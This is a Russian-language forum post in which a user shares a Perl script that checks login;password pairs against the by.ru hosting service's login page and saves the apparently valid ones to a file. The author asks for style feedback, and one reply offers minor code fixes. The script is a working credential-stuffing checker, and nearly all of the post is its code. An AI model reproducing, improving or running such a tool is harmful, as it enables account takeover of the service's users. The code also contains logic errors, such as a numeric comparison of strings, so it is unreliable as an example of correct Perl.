зацените скрипт на perl :)
 

Прошу оценить мой скрипт ... Скажите где и что можно подправить,где и что я не правильно сделал ... (скрипт рабочий, просто интересно насколько "красиво" я смог написать чекер акков:) )

##### Checker Account on By.RU coded by $p01nt;
#! usr/bin/perl

use strict;
use LWP;
use Thread;

### подпрограмма которая проверяет аккаунт на валидность

sub check {
open(VALIDE,">>valide.txt");
my ($login,$pass)=@_;
my $url='http://by.ru/login.cgi';
my $browser=LWP::UserAgent->new;
my $response=$browser->post($url,
[ 'login'=>$login,
'password'=>$pass,
'p2'=>'',
]
);

$response=$response->as_string;
my $tt=$response=~m/Location:(.*)\.cgi/;
my $checktext='http://by.ru/panel';
if ($tt!=$checktext){

print VALIDE $login,';',$pass;

}else{

}
close(VALIDE)
}

###получаем акки из текстового документа и проверяем их

open(ACC,"login");
my @accounts=<ACC>;
foreach(@accounts){
(my $login, my $pass) = split(';',$_);
$pass =~ s/ |\n//;
my $thread = Thread->new(\&check,$login,$pass, 5);
$_->join foreach($thread);
}

ЗЫ. не знал куда постить - поэтому он тут :)

ооо...изумительный скрипт!...ты просто моСк=)

open(ACC,"login");
желательно после открытия када-нить закрыть всё-таки файл ))
print VALIDE $login,';',$pass; смутило чуть....не проще: print VALIDE "$login;$pass\n";

:D